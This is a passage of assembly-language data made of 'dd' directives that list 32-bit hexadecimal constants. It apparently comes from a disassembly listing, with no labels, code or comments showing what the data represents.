dd 9058998h, 525B0815h, 6B58D6B5h, 668C4F3Ch, 416168A8h
dd 64D67520h, 23D0F391h, 0D888A2B6h, 9A3DA6DDh, 60AB4A30h
dd 4A3F1C5Fh, 0E7D4D2DCh, 0AEEBEDE7h, 0E70AA3EAh, 0E3F4992Ch
dd 0F67273D7h, 0E65994E1h, 0DD415791h, 6623581Dh, 1703ADC5h
dd 0F9F6AB5Fh, 6456F4FBh, 5E1E27B1h, 0B9FC062Dh, 0F46B7ED2h
dd 9DB9C3Ch, 5D7CD34Ah, 628CF061h, 37FBA1ECh, 0F94EA712h
dd 6D94FEF5h, 0DEBFDCB7h, 64F2AB0Fh, 57EBFA40h, 0B9675CDCh
dd 0B580E31Bh, 0E31DA71h, 0CD0B8EF5h, 0E28A440Eh, 13D41F40h
dd 0D87F0264h, 0A42D888Fh, 163BB503h, 492F7F45h, 0A568E0E7h
dd 72A7CBB7h, 48C4AA2Fh, 0BCEDE4DBh, 0B3E59F3Eh, 0F1E4C2Bh
dd 4C905BD2h, 23BB2E3Dh, 0F34A68D3h, 6B6CD73Dh, 0DCA51452h
dd 0FAC68DFCh, 57D1B54Dh, 0D9A93FE3h, 756660B5h, 0D6805B8Eh
dd 7DF10A7Bh, 56498CC9h, 3F165528h, 75FC1728h, 0AF5100D0h
dd 7D9B89BFh, 8A7F7712h, 3F0CD0FCh, 417BE1A2h, 0EFAC892Bh
dd 71B8C5D1h, 0D86FDFDFh, 7C04A2BBh, 1677F890h, 0BD289D1Ch
dd 0E5A5CB5Ah, 0F2C5AF8h, 59856CA8h, 0E3779B30h, 0F7964C44h
dd 9979EBFEh, 1C4C660Bh, 463B68C2h, 270F9525h, 0F1F0AF4Fh
dd 6857F2E3h, 5C1EA6CDh, 0BAFDC623h, 77EB1E55h, 0C99B8C7Fh
dd 7D5CDB6Bh, 52BCEC51h, 3FF3A3E4h, 0F54AB816h, 6F96FFF7h
dd 5DBCDC36h, 3B712BCFh, 37ABBA20h, 0A9477CCCh, 0ADB0D363h
dd 0A39E27Dh, 0CB0F8AF3h, 6388460Dh, 0D3571C41h, 0F8B88164h
dd 54CDCB0Fh, 1E0B96C3h, 0B51740A5h, 0A7949917h, 0DB9CF3Fh
dd 4945A8EBh, 0BCAD67B9h, 33C55811h, 0CF0EADDCh, 6C984B59h
dd 13BF26FBh, 7B4864B0h, 0A76BD90Ch, 0FEA4955Ah, 9C6CDF8h
dd 955195C8h, 0C4F94FFCh, 791678C8h, 37805FC2h, 6869085Fh
dd 7068E5AAh, 4E9D5424h, 968663C0h, 8120E97Ch, 0EB3FAEB1h
dd 0F54E394Ah, 6BCB8B97h, 24183BCFh, 0CF8AB45Fh, 83BCE9FCh
dd 6C9FCFAAh, 73ACD4D2h, 2715335Ch, 0FC08C310h, 0A990AD34h
dd 2D64E487h, 3BF11C54h, 0CCD8FB15h, 84D6C848h, 6DEC4BFBh
dd 7C3B686Ah, 6B7E3705h, 4563E947h, 4796B20Bh, 2C52DEBDh
dd 0EA4B60CBh, 8BC7D74Ah, 781951A1h, 283E0EC7h, 4CC8E373h
dd 0DA89C865h, 0E018ADD6h, 0ACE5F259h, 7FBA9081h, 0AA68FC8Fh
dd 830AAB84h, 33535D6Eh, 0BCEFF5DEh, 0D7B8AF0Bh, 36A70F2Dh
dd 0A2B52992h, 0EE855C51h, 0E188614Dh, 7DAFEC16h, 0EAFF79FDh
dd 9795089h, 327B4FEBh, 0D7FF6073h, 1BD764E7h, 63AED194h
dd 0DC08F1B5h, 0D7857064h, 0EE96E2A4h, 0AD24DEB7h, 73FE52DBh
dd 26CA06FCh, 0D106D896h, 96DB7BE3h, 61B57F61h, 38F092A8h
dd 0C848ABD8h, 0F72D9EA6h, 0F78E2CE3h, 0F9157D19h, 0E975A2AEh
dd 3E816D09h, 0C1E47C0Ch, 8F346033h, 0F9E86B9Ah, 0ECDD59DCh
dd 77EED043h, 66B374E0h, 8DB59059h, 508185CEh, 78CB84B7h
dd 1AAB9EB5h, 9931FC89h, 0E3F4DEBh, 0BAD06372h, 0DB4F4EE6h
dd 0F2B94F3Dh, 0ED76B911h, 0E67D930Fh, 0EF9B67ACh, 0A0B72122h
dd 24124B5h, 2F79F2C4h, 988B0EBh, 42F19EECh, 0DBBECBF8h
dd 8CBB226Fh, 61AEB8F1h, 0E878CCD4h, 0E989D67Bh, 0FDCDA740h
dd 0EB21BAB2h, 0A4DC4D73h, 6AA54A97h, 0B2776615h, 0B2683113h
dd 79D14085h, 0BD95D5CFh, 0CCA54540h, 72B81437h, 868E61C5h
dd 64AA6EC5h, 249168D1h, 6CA7EAECh, 0A0A6A4FAh, 0F7F62F3h
dd 3F3E3BFDh, 0EBB05D78h, 0FDFC71F7h, 0FC2FE3A8h, 0F84F9AEEh
dd 0F6F67754h, 0E29CEA90h, 0A173DE44h, 46D97766h, 0A5EF605Bh
dd 8398AD0Eh, 0E38EDE17h, 6A8F18F8h, 7E84B467h, 8C4E8C67h
dd 540ED89h, 58E823F2h, 0CA907954h, 0E2A762ADh, 0D8A6784Bh
dd 6CBB44C2h, 0B75110F5h, 0C6F4437Eh, 0C7733927h, 67DE8BD6h
dd 2AD4BDDDh, 0CAB85164h, 0A90B386Dh, 0FDCBD704h, 3D8E9C72h
dd 0B415F04Bh, 0A63EF51Dh, 0F4D42719h, 300A69ADh, 0AFEF2D99h
dd 0AFDF2598h, 6824E087h, 279D58CBh, 0C7995E75h, 8EA298Eh
dd 25B1F809h, 82B7A1BBh, 0DC8CDFC7h, 0E99421A6h, 0D83C53EAh
dd 63F490F2h, 0E86AA8F8h, 6B9E1D17h, 0A4C87748h, 97A2D1BBh
dd 0F0D0097Fh, 0B18C5E9Fh, 0AF7781BFh, 0E6175924h, 65CB76B4h
dd 0E079E6F3h, 0D45BA8CCh, 30619BE8h, 0B88368FEh, 816C6DF6h
dd 18311394h, 73365B09h, 9082A4F9h, 9886FADBh, 0EE22F8CFh
dd 0F4EABF70h, 0A8944952h, 0B8CA3244h, 62985E0Eh, 0A70B9818h
dd 85ADB3F6h, 0F398C453h, 719812D1h, 200E0B79h, 685B87Fh
dd 0C5906F11h, 4D17FE15h, 2243156Ah, 888CDF21h, 87616E8Fh
dd 7EF667F6h, 53741363h, 0C5F891B0h, 0D3DC7746h, 6CBD9210h
dd 0AE4384A3h, 0C7F5FE5Ah, 0E1905620h, 252D9F28h, 25EA5E18h
dd 86D42F37h, 6F09440Ah, 0ACD8EB07h, 0D3D2B88Fh, 0BA29952Ch
dd 0D77F4303h, 61D8FF77h, 384615ADh, 57A02744h, 0C61F6A90h
dd 46FAE9D3h, 6C995BC6h, 0DCFE5260h, 1DBE6397h, 4A55B785h
dd 0C6CB47Fh, 0D5EC95A8h, 9EC28186h, 0F927B3D8h, 3EF1F0F8h
dd 0AC23A9EFh, 9EC34F49h, 1B879267h, 0AC240CD8h, 8B543C7Bh
dd 0E5291B97h, 0ED1FE841h, 8FB621ABh, 6FC848A0h, 9EFFB5E2h
dd 0D307A6DCh, 4F4B0252h, 0BA89C704h, 0A789C90h, 0BD6F0DCCh
dd 3A553111h, 0E19DF080h
dd 8A9163CAh, 6069A3C5h, 71B0D869h, 0CEE9DEB6h, 963D544Ch
dd 44F05E2Bh, 0B3369D09h, 96A8F387h, 0F990E471h, 6B185D56h
dd 0B6553D8Bh, 1251BF4Dh, 2280EF05h, 6405A315h, 0B4486058h
dd 9D957D37h, 6D6A768Ch, 92BBE0E2h, 5CB33C4Ch, 3838AAA6h
dd 9CFD975Dh, 1847CFC1h, 0CF38D83Fh, 0C2E7DC75h, 0C1774902h
dd 5C5CBD1Bh, 0E7388CD7h, 90CEE5CBh, 0A9543069h, 71F8C230h
dd 0A4CBA688h, 7209C83Dh, 0A725E63Fh, 0DDD79206h, 0E6503999h
dd 56EE02CAh, 209F7262h, 22A5FBA9h, 4B4B93h, 0C6F5440Eh
dd 6FD3749Bh, 1C8FDF62h, 0B31F870Ah, 1F0798ACh, 0BDCE52A3h
dd 1217DBD7h, 61FDDAFBh, 0ED089CECh, 17C36067h, 3AC65D3Bh
dd 4AB7608Eh, 0A81E1A71h, 824738A7h, 0F312F6DAh, 0FAE4128Eh
dd 77CE1DF2h, 0A620F5ACh, 0D2D9A9F9h, 633EA689h, 9463E26Dh
dd 967BBD9Bh, 0D16333BEh, 0EB6C0F56h, 0E1AEB7BEh, 0E8A0D2C8h
dd 0EE7130C4h, 64CACB7Ch, 2ED3A34Eh, 0B4EA448Bh, 151A555Ch
dd 0BC73A422h, 984CC18Fh, 9685C459h, 4A8457E2h, 6D821FF1h
dd 0C57EE037h, 5256422h, 29177E44h, 0D9415512h, 86DF3F37h
dd 0AA5E10EEh, 0FCFE41F1h, 28569E63h, 2669CCE7h, 0CD56D24Bh
dd 4657C00Ah, 0AF1A9934h, 8CE2B50Dh, 0BAD55F56h, 1EE8869h
dd 0DC390C6Ah, 86FCA9DAh, 6F794A2Fh, 36D51E2Bh, 968ABE83h
dd 4D46E63Dh, 0F4116E55h, 958A0636h, 0A31DFFE2h, 4DB45012h
dd 7C5C2542h, 0F50B5D6h, 320F7D8Ah, 0ED957360h, 89D3692h
dd 2E8398C2h, 626B6E1h, 420C856Dh, 52E5A1ACh, 8A2C37C8h
dd 3F010D0h, 0B20AACF4h, 0A8DA4A5Fh, 0F2DC4733h, 7F0A07B4h
dd 0B1D31372h, 822437BEh, 0E3FFD535h, 0F60B3321h, 6BE51D0Eh
dd 0B2AA8780h, 0A1B9BAF2h, 752B0CE1h, 0A9720E17h, 550CDB8h
dd 113A5ACh, 0FC4EFA61h, 0C1BD9B9Ch, 0E1896ACEh, 0E36C4EDEh
dd 6FF1C964h, 1FCE99EFh, 9639B6F9h, 3494370h, 0AA54F99Ch
dd 9847EB4Bh, 0FEC9C0B0h, 6F8340DFh, 0E8810CECh, 9570B576h
dd 6669EC32h, 0F8173E1Ah, 5443C6Bh, 0BFDA5633h, 967B9C81h
dd 0E0BB7CE4h, 6D91D575h, 2CB8DCABh, 0D4739340h, 5EEED3DFh
dd 0AF629EE3h, 0C2B3A8F0h, 0FD8C5866h, 7BEE9036h, 0D42CB11Ch
dd 91F363E9h, 9B60A32Eh, 0B8C0972Fh, 0E5D8F794h, 2623A327h
dd 0E53E7800h, 81CD621Ah, 0E205DEADh, 78F013D7h, 4BDF77D0h
dd 5424E575h, 533B2AB6h, 0C1DB5049h, 4EC673B9h, 4BC9FCC4h
dd 9822B0C3h, 0CD0D836Dh, 75C75389h, 0AF216BC8h, 46FF11C0h
dd 0A734F9C2h, 0F9D33055h, 0B4881047h, 3EE521F9h, 0E5D05738h
dd 0C74976D0h, 0B1BDB095h, 9460612Eh, 6DB66440h, 0A59EF4FCh
dd 0D2AAA6F4h, 763D9991h, 0E83F2761h, 0CA0880D6h, 6461AED8h
dd 0B86DB102h, 0CA97B7B8h, 0FEC93ADBh, 0EA667D8Ah, 76FAD67Fh
dd 4894D112h, 96B9836Ah, 1D814CBAh, 0BC969264h, 0DC24FACDh
dd 0F37FC375h, 4AA83356h, 36CA4434h, 5228AFFDh, 117A646Fh
dd 8605E321h, 0A067F146h, 4FA93F7Ch, 8E2CDAB9h, 0E6C95CC4h
dd 0A95FEF42h, 3B2CFE2h, 1361AE2Fh, 72C78310h, 6699A39Dh
dd 0FA84DAB5h, 2EB91645h, 0AD7BE25h, 81850C31h, 0A8180DACh
dd 2507D121h, 0BC34AD22h, 23F80A83h, 772CA43Dh, 5933530Ah
dd 0F7EB3C7Fh, 0EE053999h, 7BA1F360h, 28141F90h, 3F2F452h
dd 790D11A6h, 0F91E7AB3h, 59C825B4h, 25A6E3EDh, 0A22F4DBh
dd 0D90494E0h, 3286C57Ch, 0AD61B489h, 9BFD77D9h, 0BF46868Dh
dd 0C9E40810h, 0E0DB0C76h, 0E82C67B4h, 6445A87Eh, 0B5EA329Ah
dd 298DF450h, 91F2329Eh, 0C2393B73h, 8F66C6ECh, 309EA0C3h
dd 708806D9h, 0A60AAC70h, 4B848BAh, 0B66781B0h, 0AB411932h
dd 15DA3587h, 0F7CEBFFFh, 866071CBh, 6CFC5178h, 57DDDDD5h
dd 0B719AD2Ah, 11C472E3h, 0B1B7864Eh, 9267F135h, 0F77F8E7Ah
dd 7C9A5833h, 96E8754Dh, 46618C47h, 0EE6CE3B4h, 0F21BE906h
dd 8279C656h, 78926F44h, 0BD7F9C85h, 0C8F274F3h, 3BD18662h
dd 981FBBCCh, 633C679h, 3790CDC5h, 54BB9E72h, 0D5BDFAB8h
dd 0AFA404Ah, 5EDCF15Ah, 9A698834h, 8D76E3EDh, 0A6F6A067h
dd 377EB928h, 0B928C9h, 4674EE1Ch, 0F271838h, 0B3EA5250h
dd 8D5DEFCFh, 7AF397D3h, 23D40E15h, 47D76B1Bh, 1EB0299Ah
dd 0CE6C41FDh, 5F9D3CECh, 2ACBEBEAh, 803AA0CAh, 8129879h
dd 0BEE013Dh, 0D264A4D9h, 85B465E8h, 0FB4976FCh, 0F4D82D61h
dd 0A7884F30h, 22ED2D90h, 6F59A066h, 21A35AD8h, 0F09FB097h
dd 8D8034A4h, 3C0E1D61h, 0A94A879Eh, 0A798BBD8h, 7B169AFDh
dd 0ADC2E86Dh, 909E2CA1h, 0AED227CAh, 12F47213h, 0B7A566D1h
dd 0B64DF6CFh, 0D44951EEh, 55C1E430h, 61875306h, 0E5C0A099h
dd 1F1BADDDh, 0BCC4457Ch, 0A7DEE239h, 0B69CCB3Ch, 38ED1075h
dd 4FD31045h, 0D14DBC94h, 906F79E8h, 28176862h, 0B04394A1h
dd 5C0BBC3h, 8A7F15CCh, 97B62EA0h, 990C9B5Ch, 0E568B2C0h
dd 659F9E5Eh, 0AC87C548h, 0C781C937h, 0BDFF808Ch, 0BDBD139Eh
dd 4D1F6DFh, 23A231FCh, 92FDE4F1h, 5E8CCD32h, 3A97AE70h
dd 47AF73E9h, 933CCE2Ch, 882A0C14h, 0F1CC6F1Ah, 0BB1A2BE7h
dd 7895106h, 2302DB3Ch, 55739F14h, 1EDB61C0h, 88D628ABh
dd 3CC110A3h, 24B3EEEAh, 30BDC9h, 5F0494EAh, 0F8A38199h
dd 0E2141B23h, 0D9DD9A96h, 0F928B0EAh, 0FBD3257Bh, 838A0425h
dd 0E92C4883h, 0DFEF4029h, 5EBA249Fh, 9F12FC46h, 96B71E4Eh
dd 22540789h, 0AC4FD8F3h, 0C09297C0h, 16BE2AE8h, 0E4B60651h
dd 44CE658Bh, 279368A8h, 18B67A5Ch, 0D4BB32F2h, 816AD091h
dd 0BD2465D8h, 46F9144Bh, 6F533B6h, 0AB1A93FEh, 64AD2C9h
dd 0BDF73264h, 8F8BF735h, 0B3EA9A11h, 38FA1E3Fh, 0C5D60B0Eh
dd 8342BE66h, 0FF6AFC2Fh, 593D6C81h, 897AF863h, 569CCF7Eh
dd 0B47E28B7h, 0DBFE72CFh, 31DC9C67h, 64E29F94h, 4FA0F328h
dd 91B1D1DFh, 1ED285FAh, 8882943Fh, 2ADE7C6Eh, 73AD9D04h
dd 0CC37AC7Eh, 91EB6997h, 0A7E02014h, 93DE9063h, 7D2C41E2h
dd 0A0F8D92Bh, 31390F43h, 2006958h, 0DD4CE3EFh, 5EA0B83h
dd 3983F0C0h, 5472E2A6h, 78F087B1h, 0DA92B79Bh, 1D317ACEh
dd 6BA9FCE0h, 0B2CDFEE2h, 0AC3CEC02h, 0D6F80E8Ch, 0FE351869h
dd 0F5F58A99h, 0A46AFC45h, 0A19A93A5h, 0ECCA3552h, 49E57AA4h
dd 9BD7B932h, 6BB43BD8h, 841CDBB3h, 29AD1F20h, 0A5061AE1h
dd 8A50E2E9h, 3CC7EB1Bh, 714ED8E1h, 0C7220D56h, 8F1B6BCFh
dd 6ABC54E4h, 0D3ABF3Dh, 0B4E343EEh, 6A18085h, 0AD7C77E3h
dd 94BD8D3Eh, 0DC91DC12h, 0EAAD2D6Ah, 7E888D0Ah, 0E610EA1Fh
dd 0C88A8F02h, 0B221D931h, 6C5A2A26h, 64F60B03h, 8B9FAB4h
dd 0B1D12629h, 4C31EEB5h, 0EC7B5A4Eh, 357BE98h, 0F340CD0Fh
dd 0DEEBAE8Eh, 8B0AA157h, 24E505CEh, 0CAB91514h, 83A8DB34h
dd 72DE90E6h, 3DB3B279h, 0EE84134h, 5FCA284h, 0E4D55743h
dd 0AE362397h, 0B98C4684h, 0FAF6E1F6h, 6071336Ch, 0A26FC538h
dd 0C69E3309h, 3256512Ch, 0D3256EAEh, 8B978524h, 0FA9E8198h
dd 550B84CBh, 6BE3A191h, 0D08F1CE0h, 0FA6BED7h, 2C23578Bh
dd 0FF7BCCAh, 0C7C2DAEDh, 88EA416Ah, 0E63E523Ah, 0EBB38F99h
dd 0A830B579h, 0BDD4402Fh, 0F7D8E597h, 0BA239A47h, 497E5224h
dd 2E6643B5h, 0D40EDCE1h, 4A76126Ah, 1D3613F7h, 1C7DEECFh
dd 1190A0DEh, 5D8B036Eh, 0D810E7A4h, 993A9DCBh, 2AE10DFEh
dd 3853C368h, 0CB0A7BBCh
dd 0D9A8C589h, 75501987h, 0A9E84D7Eh, 0DCD9DDD5h, 0E5E9420Ah
dd 50E91867h, 9409D235h, 95A82E54h, 0F487B90Eh, 6B4B1920h
dd 0A1D73802h, 45E05364h, 71E965E2h, 183FE8C4h, 1A37053Fh
dd 2A0ADEF0h, 43435492h, 0C3FEAB69h, 5D9191A2h, 0EB3562F9h
dd 9FE26640h, 334AC931h, 60DBDBBDh, 80AAB239h, 0DFA60B60h
dd 53F6D40Bh, 0FF3AB2DEh, 9970F843h, 904C433Ah, 0BDC0F04Dh
dd 722A2BBEh, 0BAFBDE4Ch, 8E652Ch, 0A16E520Fh, 0DC39A4BEh
dd 0B6DCC3CBh, 35C8B154h, 0FB7588F6h, 15DCB391h, 389F9588h
dd 4F6ED0D3h, 186024FDh, 0D49988D4h, 1BA0F97Ah, 0E03D4831h
dd 32517D2Eh, 0F913BED8h, 0D30BE6Fh, 0BFD6DDADh, 0ABE7C097h
dd 2194B75Fh, 23044A27h, 0D24DCE82h, 0D50FDDF2h, 7B752E70h
dd 0E95842B3h, 4F02B8F6h, 768CAE1Ah, 51068022h, 8A8CA89Ah
dd 8B4DC880h, 7F5B3861h, 7B0C8F2Ch, 8DF64EB6h, 1E24CE9Bh
dd 2EDE77D2h, 9DC0DD70h, 833F174Ch, 2EA46D8Eh, 738E271Ah
dd 226CA47Eh, 84B5B30Fh, 61A7306h, 548AF523h, 2A2C0931h
dd 0D4994BB6h, 141D6FE4h, 3B87EEF4h, 59354762h, 16D184B5h
dd 125E802h, 0E0964119h, 0EB3D41FDh, 0AB4543CEh, 0DE3BAB18h
dd 32002600h, 48B7A1B0h, 94BCAE51h, 0C3A70B7Ah, 6DE5C89Ch
dd 0A9E676ABh, 0C3EBE337h, 0FC145974h, 97AC5ED5h, 311B0E85h
dd 0B8ECDC54h, 8A9D396Eh, 0E46F420Ah, 147F67A3h, 0AA9D742Bh
dd 56C9154Fh, 0EB2BD595h, 0BAFD8ABh, 269F87CCh, 77C9ACB4h
dd 5F073C7h, 64D3F78Fh, 43C7EE85h, 5D2E42FAh, 0BB4675B9h
dd 8B5AADF6h, 0F231A870h, 0E2CA578Eh, 0F6C87288h, 0F137DC7Dh
dd 0E8921060h, 8B669EC2h, 0E9EFB98Bh, 2FE63D6Fh, 0B3576FE9h
dd 41ADF0F7h, 23CFCDB0h, 0DD145B8h, 91D168A8h, 0DB2C86AFh
dd 5D6ACD0Ah, 1A42791Dh, 82EF639Dh, 9230D8B8h, 0EBD768D1h
dd 0B8FD1361h, 0EF6B0ACDh, 65F00BF6h, 7B825776h, 0E0F57E0h
dd 0F0CBFC8Ah, 38A5465Dh, 798EC361h, 0DA123750h, 92914B28h
dd 31177304h, 0E3D0B22Eh, 0DE1F5F2Bh, 728B82E2h, 0BC7C6840h
dd 1B63153h, 78D61CBEh, 0FD85F095h, 0F473C366h, 6BD21630h
dd 2BB0B2EEh, 91B6BB68h, 0A8BB1034h, 7E649500h, 0B2BE8537h
dd 0A6BB074Ch, 0E566D03Bh, 0D5888DC8h, 3E754686h, 0C5B1AE16h
dd 36BE715Dh, 7729872Bh, 503F79B9h, 7BBF12ACh, 63AE51FAh
dd 0A817A452h, 2288F291h, 32DFD781h, 7400AA87h, 78D51DCFh
dd 0B06AD069h, 0CD88D89Ah, 6E304ECDh, 0B77A4486h, 8F1BDDABh
dd 0F426A97Ch, 0EC9B8F8Eh, 3C8026DDh, 95CE942Ah, 0A0A7020Fh
dd 0DE21FCAFh, 0BABDFFC5h, 3FAFD574h, 0A33B07B4h, 4CA8F8F2h
dd 6010BD4Fh, 5F5284ECh, 0D6667587h, 8B6DE19Ch, 475BAA08h
dd 34DD4104h, 80D96D95h, 192C93BDh, 9991AF9Ah, 12F69471h
dd 0F703A74Ch, 10B95E1Bh, 4FEA189Eh, 7366743Dh, 0A28E8C01h
dd 1B543305h, 487ECA5Fh, 543379A2h, 6F1A231Ch, 0B2F5325h
dd 0D3DCB257h, 66495F2Ah, 9A1BF81h, 165ECF60h, 70D98E7Ah
dd 4D421A83h, 0A78089BAh, 0EF7DD471h, 26DB2011h, 0B1ACDCAh
dd 8863EF23h, 8B965E38h, 7B168AC8h, 0EEEA307Dh, 0CBC32831h
dd 0A340D646h, 908BF6D8h, 506AF9A4h, 9CC40575h, 0DFBF101Fh
dd 607C8E5Fh, 3A6971A4h, 45910149h, 459E2A87h, 8676FE48h
dd 1FE6D39Dh, 338C8556h, 6CF9C52Dh, 661907A2h, 770926Fh
dd 0C4F6FE97h, 4B0A45DAh, 0AF6F7D8Ch, 0B0492C3h, 2524BA51h
dd 9DDE5C93h, 7FA08AA4h, 0F4384508h, 98413D05h, 0F6F8CF80h
dd 0F2D5C386h, 3E0ACB6Dh, 0AE0D5AB4h, 5B75EAEBh, 731CE395h
dd 59450E69h, 0C97FE82Eh, 8F631B96h, 7B7AC35Ah, 34ECB616h
dd 86933F94h, 9B26A2A0h, 37D61FCCh, 2EACE536h, 0C520B284h
dd 18B94844h, 309376BEh, 1E5B1A4Ch, 82B5A8BCh, 1CDE3CE7h
dd 710FEA5Eh, 820C25B2h, 8734250h, 0BE5D7033h, 8A84F00Eh
dd 7B365762h, 0B68F9EA6h, 126B6841h, 0DBA9A919h, 478B4EDDh
dd 2F29BFDDh, 831E6E0Dh, 51BE5021h, 3D3DC6FAh, 9DFA816Dh
dd 95113C30h, 3674ED28h, 0A908B6B2h, 838EB0D7h, 0B602AD66h
dd 0F0CAB69Eh, 6409D1CBh, 0E5F7965Bh, 5F97EF3Eh, 0A47BAE0Fh
dd 437F39A2h, 5DB22DF6h, 53845864h, 9138E928h, 54B2A496h
dd 54C4D43Ah, 410D9CC8h, 5B751B52h, 0A11B8920h, 53E6EE8Ch
dd 3F7604F1h, 0D66A6ED4h, 3F1189FAh, 0F723A870h, 3382B8F6h
dd 2AE8B7CCh, 51B93C7Ch, 9A270F21h, 0CA96AC9Eh, 0D392F1E2h
dd 6334D464h, 0A9D903B3h, 0E17F2FEh, 1C8EB848h, 5D77D74Bh
dd 0CB7DD60Ah, 816B27BEh, 4A43234Eh, 15B7BD25h, 91EDBC92h
dd 142CE2A0h, 558D2CCCh, 58E8A51Eh, 0C2208649h, 0FBE5A8Eh
dd 3F8877D5h, 53434664h, 968FF2E0h, 1B1F5A2Eh, 7DC4F09Eh
dd 9AD06DCh, 0AD3D1078h, 89EE4E66h, 6BD6F93Dh, 622C5364h
dd 2BC2CCF1h, 0D940F641h, 9CFB2957h, 674ACB3h, 29688EA3h
dd 0D4860463h, 479F0719h, 0C3DE6F7h, 9E7CBE7Ch, 9B492529h
dd 0CD589CAh, 0FC0E36F7h, 0A584BEF5h, 0B7498061h, 0A1D4DAACh
dd 664EF489h, 0BCF41379h, 9580821Dh, 0D66E8415h, 0EB7ED9AEh
dd 6D880448h, 0C8D5711Bh, 8415BE6Ch, 71B986F8h, 2DBE9370h
dd 4DB7C134h, 7EE2708h, 0C10D252h, 4D07D1E4h, 0CF644EF6h
dd 0C2775DF5h, 24C93E8h, 3879E70Ch, 47DA73FDh, 0C7DE6FF7h
dd 0DF3B5845h, 0B2D01D29h, 0A4F4DAE1h, 0EC0FEBF8h, 0F57D865h
dd 0B00845CDh, 16EFDAA5h, 60BEA0DFh, 0AC955E4h, 0AED6762Dh
dd 0BA7060DAh, 60452D0Ah, 2D0EEA0Ah, 0C3D82594h, 823335BEh
dd 0B8C652C7h, 27D52C4Fh, 7C136E9Bh, 5B5468Bh, 0D49158FCh
dd 1D464B65h, 0E2EFFFADh, 2BB611AFh, 6FCFA1ADh, 0AFB61191h
dd 0C91100DCh, 0D6890DABh, 23E7C4D7h, 7E391338h, 6BE799FDh
dd 0F4474219h, 0B4BA5F28h, 0D9BEFCB1h, 0A488F7CDh, 8DBA162Ah
dd 7D56F52h, 1076DED0h, 136AAE38h, 0D5453B23h, 0CACA9E57h
dd 0E99FA93Bh, 2EDE7991h, 0FB6C266Eh, 8DC0D7E8h, 10299C8Ch
dd 0B8760447h, 641DCE69h, 6451E953h, 0F4D36C8Eh, 59DC0691h
dd 0FCD707F7h, 0CA1B86ABh, 22E59FA9h, 1AD7342Eh, 6603534Eh
dd 73D5132Fh, 948BDC58h, 0BF2BC710h, 0C6657210h, 0E9754B24h
dd 4404EC92h, 332DB461h, 44ECDE2Ch, 0D5FF1C11h, 4BA26F1Dh
dd 1FAAF036h, 0CE9AA9FDh, 0D03E94E3h, 5612DC62h, 2E511994h
dd 0C7F7FAF3h, 758EBF48h, 0B83399A8h, 0FCFA6A5Ch, 0F12D64C5h
dd 7F62616Bh, 250D1F3Ch, 90753791h, 1B6934DAh, 0ADD07ECBh
dd 8FC6EE66h, 0B2233C57h, 72A4642Ah, 21846210h, 550FE619h
dd 86A91990h, 3E3F57D5h, 3710A0A4h, 1BEC6C8Ch, 43B55B6Dh
dd 0D01304E1h, 41ECF1D6h, 76595A49h, 99293F0h, 0C16DF7FCh
dd 95F9A2C9h, 6A5DFAB1h, 968D2A95h, 93D7D563h, 72A41F34h
dd 3948BCA0h, 8577E37Fh, 12544322h, 0F0CCCD85h, 0B46D5537h
dd 754022A3h, 0BB9442CDh, 0C4FFAE2Fh, 3E73BCBDh, 0BBEC111Dh
dd 0E4769505h, 66A49A01h, 0B59FDFA2h, 0DEC5DD54h, 6181BBD5h
dd 0B02C82C7h, 44E8DFD5h, 7EDB9736h, 1CE27A11h, 355A2202h
dd 3CED7138h, 85B4EFF5h, 8A70092Dh, 0EE705326h, 251ACA93h
dd 6028EA16h, 2DC301FFh, 0C5C5D023h, 0DE279C1Ch, 2C0D3A0Bh
dd 2B7EEEB4h, 830990CFh, 1CFF3466h, 0B94A17BCh, 0D9A5B8C7h
dd 0D2D9E4DDh, 0CA20051h, 0FD32A8B8h, 0CC4C819Fh, 35A8082Ah
dd 38050023h, 0C3A9558Eh
dd 85AF6CB9h, 13830681h, 0B3305115h, 8DFCE9EDh, 6ED6460Bh
dd 30BD7879h, 48F9E814h, 92B9B39Dh, 3EF09F83h, 7238A19Ch
dd 0CB82D3D4h, 0EE0CEA1h, 38277175h, 43F2EFB9h, 0BE105C5Dh
dd 39F09CA9h, 0C04A035Dh, 0C8A6ADDCh, 0B3DDD2CBh, 3A627807h
dd 0E0FAB1F6h, 0C505139Bh, 0B917A4E3h, 3D0BB327h, 0AB372B4Eh
dd 0E6171994h, 0FFEDD8F9h, 25758D50h, 0FC20BCD3h, 1DFD9ED1h
dd 0E1C3C2DFh, 452597EDh, 0A89EE55Dh, 0CECC171Eh, 0E98CD334h
dd 0B1A8B5A1h, 26D2FF51h, 3AF2D39h, 4CB22D7h, 5D6FBA02h
dd 0DA803E32h, 37CC0392h, 578E836Bh, 805AC860h, 78041DB6h
dd 0A9E90155h, 0C57DFBA5h, 9B4B5ECCh, 87AF70F9h, 0CBCA373h
dd 8BDBCE4Fh, 6E66AA98h, 0B538C44Bh, 716DDF23h, 4881AC6Eh
dd 252B7BABh, 3E9F9C52h, 97C4C387h, 5F47EA54h, 3306869Ch
dd 0A95C840h, 0DEC15D3Ch, 0F3E96111h, 747D5BFEh, 17B44EF1h
dd 0D86F24F7h, 6F108775h, 0CCE3C635h, 80FE54D5h, 0F8CAE16Dh
dd 78C1933h, 5C4D0D96h, 5F23FBC7h, 0D1985EFCh, 11A2F0C7h
dd 3168E37Ch, 0C2BF2E29h, 8AD5BA8Ah, 76DF3C3Ah, 0A0387B13h
dd 5B37C206h, 2EF0689Ch, 0D0F1ED59h, 8DD19903h, 0F2424F96h
dd 0A20E14FCh, 0FA120FF1h, 9E600874h, 0F83B37CDh, 0CDF6F058h
dd 8B7CD1ABh, 19B53153h, 49AF81A6h, 2D6279AFh, 0B89BD3C8h
dd 612660E1h, 0C598E9EFh, 73451568h, 5BA7AFAAh, 0F65972EBh
dd 7FDD9ECAh, 57794272h, 34B76A2Eh, 3FF1A608h, 0A451C818h
dd 0F5036523h, 43EE4717h, 524226E4h, 0BA080CF5h, 0FEEF0974h
dd 84FCF735h, 930BD094h, 8B8CB1C5h, 0E4CC37Dh, 8D3DEC6h
dd 29E2A2DCh, 0A87AF869h, 9132DD32h, 902B16h, 0C1233AA7h
dd 0DA9BBCD3h, 0C6C63347h, 40C4F235h, 0BDC9028Ch, 0F4B58A79h
dd 86717231h, 0AF115017h, 0EF62A37Dh, 72BA4A30h, 0A3F62696h
dd 18DC0445h, 0A4C5393Dh, 0A28FB551h, 1FD271AFh, 9083D1D1h
dd 0EDCB61E7h, 0F62E9CFh, 0E0B8D5F8h, 0D8AD0FCBh, 4C6082FAh
dd 0C1BB3EEBh, 64D7B26Ah, 8640C02Bh, 6979F90Ah, 95D7851Bh
